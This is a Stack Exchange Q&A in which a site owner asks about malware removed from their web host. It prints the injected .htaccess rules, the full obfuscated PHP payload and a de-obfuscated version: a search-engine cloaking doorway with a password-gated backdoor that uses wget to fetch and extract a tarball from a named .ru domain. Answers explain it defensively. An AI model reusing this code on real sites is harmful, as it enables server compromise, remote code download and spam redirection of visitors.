What is the meaning of this possible malware?

Question

My hosting service was helping me to identify a problem, and we found the following possible malware (which, of course, we have removed). Unfortunately, I'm not terribly technical, and so I am struggling to understand what it might mean.

It comes in two parts.

First

The following lines were added to the top of the .htaccess file.

RewriteEngine On

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ collaborator-idiom.php?$1 [L]

ErrorDocument 404 /index.php

(It is worth noting that this website does not have an index.php file.)

From what I understand, this means that if there is any error in accessing a page, and it comes from a search engine, it must redirect to collaborator-idiom.php. Have I understood correctly?

Second

The file collaborator-idiom.php is obfuscated PHP. I tried to de-obfuscate it using several different tools found on the Internet, but all without success. The content, all in one line, follows.

<?php $dboaxv="\x63".chr(114).chr(101).chr(97).chr(116)."\x65"."_"."\x66".chr(117).chr(110)."c"."\x74".chr(105).chr(111)."\x6e";$fyumyl = $dboaxv('$a',strrev(';)a$(lave')); $fyumyl(strrev(';))"==gCN0XCJoQD9lQCJoQD7kCbyVncjRCKsJXdj9Vei9VZnFGcfRXZnByboNWZJkQCJoQD701JJJVVfR1UFVVUFJ1JbJVRWJVRT9FJA5SXnQ1UPh0XQRFVIdyWSVkVSV0UfRCQuIyLvoDc0RHai0DbyVncjRSCJkQCK0welNHbl1XCJkgCNsDdphXZJkQCJoQD7ciPs1Gdo9CP+kHZvJ2L8cCIvh2YllQCJkgCNsjIuxlIg4CIn4zczVmckRWYvwDM4ACdy9GUgcCIuASXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJgQXYgIXZ2JXZTByJg4CIpgibvl2cyVmdwhGcg4CIn8CUIBFInAiLg01JFJVQXRlRPN1XSVkVSV0UnslUFZlUFN1XkAiLgciPzNXZyRGZhxzJg8GajVWCJkQCK0wOi4GXiAiLgciPyhGPnAyboNWZJkQCJoQD7IibcJCIuAyJ+A3L84iclZnclNHIzlGa0BibvBCZuV3bmBCdv5GIzF2dgcCIuASXnkkUV9FVTVUVRVkUnslUFZlUFN1XkAiLgcCIMJVVgQWZ0NXZ1FXZyBSZoRlPwxzJg8GajVWCJkQCK0wOi4GXiAiLgciPxg2L8Qmb19mRgQ3bO5TMoxzJg8GajVWCJkQCK0wOi4GXiAiLgciP5R2bixjPkFWZo9CPnAyboNWZJkQCJoQD7IibcJCIuAyJ+UGb0lGdvwDZuV3bGBCdv5EI0ADN+UGb0lGd8cCIvh2YllQCJkgCNsjIuxlIg4CIn4DZhVGa84DbtRHa8cCIvh2YllQCJkgCNsjIuxlIg4CIn4jIOV0LvAjLyACTNRFSgQEVE9yLGRVRJ9yLtICIDlETCVFUgwUTUhEIFBVWUN0TEFCPnAyboNWZJkQCJoQD7kiIk5WdvZEI09mTgQDM0AiIg4CIddCTPN0TU9kUQ9lUFZlUFN1JbJVRWJVRT9FJoIXZkFWZolQCJkgCNoQD9tDdphXZ7kSXiQlTFdUQfJVRTV1XQRFVIJyWSVkVSV0UfRCQs0lISRERB9VRU9UTFJlIbJVRWJVRT9FJuISPyRGZhZiIugnc1VDZtRiLi0TdmIiL0N3boVDZtRiLi0DZmIiLpsWbkgSZk92YuVGbyV3dhJnLi0zatZiIus2YhBHRJRiLi0Dcp9DcoBnLwx2LulWYt9GZk8yL6AHd0hmIowmc1N2X5J2XldWYw9FdldGIvh2YltHIpU2ckgCImlWCJkQCK0Qf7QXa4V2O05WZ052bjJ3bvRGJg8GajV2egkCdvJGJoAiZplQCJkgCNsTM9U2ckkSKdBiISVkUFZURS9FUURFSislUFZlUFN1XkAEIsISaj02bj5CXu9Gb5JWYixXbvNmLcVmZhNWek5WYoxXbvNmLch2YyFWZzJWZ3lXb812bj5CX392d8RXZu5CXyVGdyFGajxXbvNmLcRXa1RmbvNGfv9GahlHfoNmchV2c8FGdzlmdhRHbhxXbvNmLcx2bhxXbvNmLct2chxXbvNmLc52ctxXbvNmLcdmbpJGflx2Zv92ZjICKoNGdh12XnVmcwhCImlWCJkQCK0wOx0TZslmYv1GJpkSXgICVOV0RB9lUFNVVfBFVUhkIbJVRWJVRT9FJABCLik2Ip5WatxXai9Wb8BHZp1GfwF2d8VmbvhGc8VGbpJ2btxHM2MXZpJXZzxHZhBXa8VmbvhGcpxnbhlmYtl3c8RWavJHZuF2IigCajRXYt91ZlJHcoAiZplQCJkgCNsTM9Q3biRSKp0FIiQlTFdUQfJVRTV1XQRFVIJyWSVkVSV0UfRCQgwiIpNiclRWawNXdklWYixnclx2dhJ3Y8VncuwFbpFWb8dXZpZXZyBHIiV2dgUGbn92bnx3bvhWY5xHdvJGfyVGZpB3c8VGbpJ2bN1CdvJWZsd2bvdEfzJXZuRnchBXYpRWZNxXZsd2bvdUL09mQzRWQ8JXZsdXYyNWLhN3Z8VGbn92bnNiIog2Y0FWbfdWZyBHKgYWaJkQCJoQD7ATPlxWai9WbkkQCJkgCNsDM9U2ckkQCJkgCNsDM9Q3biRSCJkQCK0wOpkSK4JXdjRCKzRnblRnbvN2X0V2ZfVGbpZGQoUGZvNWZk9FN2U2chJGQsICf8xnIoUGZvxGc4VGQ9kCduVGdu92Yy92bkRCLr1GJss2YhBHRJRCK0NXasBUCJkQCK0wepkCeyV3Ykgyc0NXa4V2XlxWamBEKgYWaJkQCK0wO4JXd1QWbk4icpR2Yk0DeyV3YkkQCJoQD7V2csVWfJkgCN0XCJkgCNsDdphXZ7IibcNyIjQURLJ1TXNyIjICIvh2YllQCJkgCNsXKiMjI90DekgCImlWCJkgCN0XCJkgCNsDdphXZJkQCJoQD7kCZtNGJoMWZ4V2XsxWZoNHIvh2YllQCJkgCNsjI6dGduEDImJXLg0mcgsjenRnLxAiZ6hXLgIXY0ByO6dGduEDIP1CI6dGduQ3cvhWNk1GJvMmch9Cc39Cc0V3bv4Wah12bkRyLvoDc0RHagQXZndHI7gGdhBHctRHJgQ2Yi0DZtNGJJkQCJoQD9lQCJkgCNsTKk12YkgyYlhXZfxGblh2cg8GajVWCJkQCJoQD7ICdz9Ga1QWbk4CImJXLg0mcgsDa0FGcw1GdkACZjJSPk12YkkQCJkQCK0wepIiMi0TP4RCKgYWaJkQCJoQD7IibcNyIjMVRMlkRfdkTJRVQEBVVjMyIiAyboNWZJkQCJoQD7lSKiQjI90DekgCf8liIyISP9gHJogCImlWCJkgCNoQD74mc1RXZylyczFGc1QWbk0TIwRCKgYWaJkQCK0wOpkSXiAnIbR1UPB1XkAEKlR2bjVGZfRjNlNXYihSNk1WPwRSCJkgCNsXKiISPhgHJoAiZplQCK0gCNsTKiEjSuxEa0dFTv5EWh1WM5FmIoUGZvNWZk9FN2U2chJWPulWYt9GZkkQCK0QCJoQDK0QCJoQD7IyLi4Cdz9Ga1QWbk4iIu8iIugGdhBHctRHJ9IXakNGJJkgCNoQD9tTKp81XFxUSG91XoUWbh5mcpRGKg0DIoRXYwBXb0RyegU2csVGI9tTKoIXak9FctVGdfRXZn91c5NHI9ACa0FGcw1GdksHIpkyJylGZfBXblR3X0V2ZfNXezdCKzR3cphXZf52bpR3YuVnZoAiZplQCK0gCNsTK4JXdkgSNk1WP4JXd1QWbkkQCK0wOpJXdk4Cdz9Gak0DeyVHJJkgCNsTK0N3boRCK1QWb9Q3cvhWNk1GJJkgCNsTK0N3boRCLiICLi4yd3dnIoU2YhxGclJ3XyR3c9Q3cvhGJJkgCNsTXikkUV9FVTVUVRVkUislUFZlUFN1XkAUPpJXdkkQCK0wOdJCVT9ESfBFVUhkIbJVRWJVRT9FJA1Ddz9GakkQCK0gCNsjIiNDNlZWYwITNxU2YzgTMhBjZhBjM4IDOxAzN1QTZ1UmI9M3chBXNk1GJJkgCNsTXis2Ylh2YfBHcwBnIbR1UPB1XkAUP4RSCJoQD7IiI9QnblRnbvNmcv9GZkkQCK0gCN0nCNsDdsV3clJHJg4mc1RXZylQCK0wOpg2YkgSZz9Gbj9FbyV3YJkgCNsTKoNGJoAyYlhXZfxmc1NGI9ACdsV3clJHJJkgCNsTK05WZnFmclNXdkACLU5URHFkUFNVVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1NWCJoQD7kCMgwCVT9ESZZUSSVkVfx0UT9FVQ9ETSV1QgwCajRCKgQHcvRXZz9FbyV3YJkgCNsTKwACLSVURQllRJJVRW9FTTN1XUB1TMJVVDBCLoNGJoACdw9GdlN3XsJXdjlQCK0wOpAzMgwCVV9URNlEVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1NWCJoQD7kSMgwiUFZ0UOFkUU5kUVRVRS9FVQ9ETSV1QgwCajRCKgQHcvRXZz9FbyV3YJkgCNsTKsJXdkwCTSV1XUB1TMJVVDBCLoNGJoACdw9GdlN3XsJXdjlQCK0wOpgCI0lmbp9FbyV3Yg0DIoNGJJkgCNsXKiYzMuczM18SayFmZhNFIxMTMucDN4EjLw4CNz8SZt9mcoNEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjNX90VgsTMuYDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1kI9QnbldWYyV2c1RCLsJXdkgCbyV3YflnYfV2ZhB3X0V2Zg42bpR3YuVnZK0gCNsTKwgCdp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'));?>

De-obfuscated PHP

set_time_limit(0);

function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
        $ch = curl_init ();
        curl_setopt ($ch, CURLOPT_URL,$url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
        $result = curl_exec ($ch);
        curl_close($ch);
        return $result;
}

        $doorcontent="";
        $x=@$_POST["pppp_check"];
        $md5pass="e5e4570182820af0a183ce1520afe43b";

        $host=@$_SERVER["HTTP_HOST"];
        $uri=@$_SERVER["REQUEST_URI"];
        $host=str_replace("www.","",$host);
        $md5host=md5($host);
        $urx=$host.$uri;
        $md5urx=md5($urx);

        if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));}

        $cdir=$tmppath."/.".$md5host."/";



        $domain=base64_decode("ay1maXNoLWthLnJ1");

        if ($x!=""){
            $p=md5(base64_decode(@$_POST["p"]));
            if ($p!=$md5pass)return;

            if (($x=="2")||($x=="4")){
                echo "###UPDATING_FILES###\n";
                if ($x=="2"){
                    $cmd="cd $tmppath; rm -rf .$md5host";
                    echo shell_exec($cmd);
                }
                $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
                echo shell_exec($cmd);
                exit;
            }
            if ($x=="3"){
                echo "###WORKED###\n";exit;
            }
        }else{
            $curx=$cdir.$md5urx;
            if (@file_exists($curx)){
                @list($IDpack,$mk,$doorcontent)=@explode("|||",@base64_decode(@file_get_contents($curx)));
                $bot=0;
                $se=0;
                $mobile=0;
                if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
                if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
                if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
                if ($bot) {echo $doorcontent;exit;}
                if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}

                header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
                echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
                echo '<html><head>' . "\n";
                echo '<title>404 Not Found</title>' . "\n";
                echo '</head><body>' . "\n";
                echo '<h1>Not Found</h1>' . "\n";
                echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
                echo '<hr>' . "\n";
                echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
                echo '</body></html>';
                exit;
            }else{
                $crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
                echo get_page_by_curl($crurl);
            }
        }

Is there any way to tell what this all means, please? A search for collaborator-idiom.php revealed nothing.

NEW INFORMATION

(Thanks to the de-obfuscated code by @DKNUCKLES.)

I have run this on a virtual server, where it cannot do any damage, with lots of debugging in it.

It creates the following HTML (replace example.com with the actual website address, minus www. if it was present).

What horrible people do this! If they used even half their intelligence to create value instead of stealing or destroying it, the world would be a better place.

<html>
<head>
    <title>WEBSITE.WS - Your Internet Address For Life&trade;</title>
</head>
<frameset rows="100%,*" border="0" frameborder="0">
    <frame src="http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com" scrolling="auto">
    <noframes>
        <p> Your browser does not support frames. Continue to <a href="http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com">http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com</a>.</p>
    </noframes>
</frameset>
</html>

I spoke too soon!

My son has determined that the script responds when the hackers send it a specific signal, in which case it downloads a package and executes it. There's no way to find out what the package is. The package would have been downloaded from

http://k-fish-ka.ru/outp/wp/arc/[md5].tgz

where [md5] is the MD5 sum of your domain name (without the www. if present).

The first one silently redirects search engines and their users to whatever is served by the malicious PHP file regardless of the original URL. The ErrorDocument directive is irrelevant and just means that in case of a 404 error, the server should use "index.php" as an error page. It doesn't seem malicious (otherwise the attacker would've redirected it to the compromised PHP file) and I'm sure it's just an omission on the attacker's part (copy/paste from a legitimate htaccess file?) — André Borie, Jul 21, 2016 at 16:07
Just an FYI I've de-obfuscated the code for easier answering. It was stored in reverse base64 so it was decoded by un-reversing the base64, then decoding the base64. — DKNUCKLES, Jul 21, 2016 at 16:09
I'm curious as to how the files were put onto the website in the first place. The website contains just a simple HTML file, and my password is a strong one. Perhaps that is a topic for another Question, where I can add more information? — Paddy Landau, Jul 22, 2016 at 8:27
This is infection by malware toolkit. Most attacker will crawl ALL web server for info (exposed by the user-agent), determine the vulnerabilities factor (unpatch Web, php, OS, etc )and hack(using automation tools) into your server. — mootmoot, Jul 22, 2016 at 15:36
I just wanted to say thank you for this, a friend of mine had the same malware in his wordpress application and the information here helped a lot. — lfender6445, Jul 13, 2019 at 23:21

DKNUCKLES · Accepted Answer · 2016-07-21 16:17:23Z

4

From what I can tell, and I'm not a PHP expert, the code does a couple of checks but ultimately it looks to download a tarball from a malicious .ru website (this website can be found by decoding the $domain variable. It then expands the tarball and deletes it.

This action is found in the following lines

$cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
echo shell_exec($cmd);
exit;

With that said I would imagine that what's happened here is that a webshell perhaps was contained within the 1.tgz tarball and that's currently acting as a back door. Without seeing the content of that tarball I can only guess but to the best of my knowledge that's what's happened here.

I would give your web server another look to make sure there is nothing else you wouldn't expect to see there.

answered Jul 21, 2016 at 16:17

DKNUCKLES

9,2372 gold badges37 silver badges48 bronze badges

Thank you for decoding that script. I don't suppose you know what $md5host would contain? I'd like to see what it contains.
– Paddy Landau
Jul 22, 2016 at 8:24
@PaddyLandau If you look a little further up in the script you'll see the line $md5host=md5($host); which essentially takes the $host variable (which in this case is populated by the @$_SERVER["HTTP_HOST"]; PHP variable. It looks like the script takes the HTTP_HOST variable and hashes it with md5 and that's what is in the $md5host variable.
– DKNUCKLES
Jul 22, 2016 at 12:47
I have run this from a virtual server, where it can't do any harm. I have updated the end of my answer to show what it does.
– Paddy Landau
Jul 22, 2016 at 13:53

Add a comment |

Jeff · Accepted Answer · 2016-07-21 16:15:15Z

3

After you detected the virus you immediately started removing it.

Virus writers know this so they want to remain undetected for the owner. That is why they only show the malicious content when people arrive through google.

The assumption is the owner will never use google to go to his own site but enter the url directly.

As for the payload: most likely it downloads the actual payload from another site.

$domain=base64_decode("ay1maXNoLWthLnJ1");

decodes to k-fish-ka.ru, not a site I would advise anyone to visit.

answered Jul 21, 2016 at 16:15

Jeff

3,6094 gold badges19 silver badges23 bronze badges

Thank you for the domain name. That is helpful — and worrying!
– Paddy Landau
Jul 22, 2016 at 8:24

Add a comment |

Stack Exchange Network

What is the meaning of this possible malware?

2 Answers 2

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged
malware
php
obfuscation
.

Hot Network Questions

What is the meaning of this possible malware?

2 Answers 2

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged malwarephpobfuscation.

Related

Hot Network Questions

Not the answer you're looking for? Browse other questions tagged
malware
php
obfuscation
.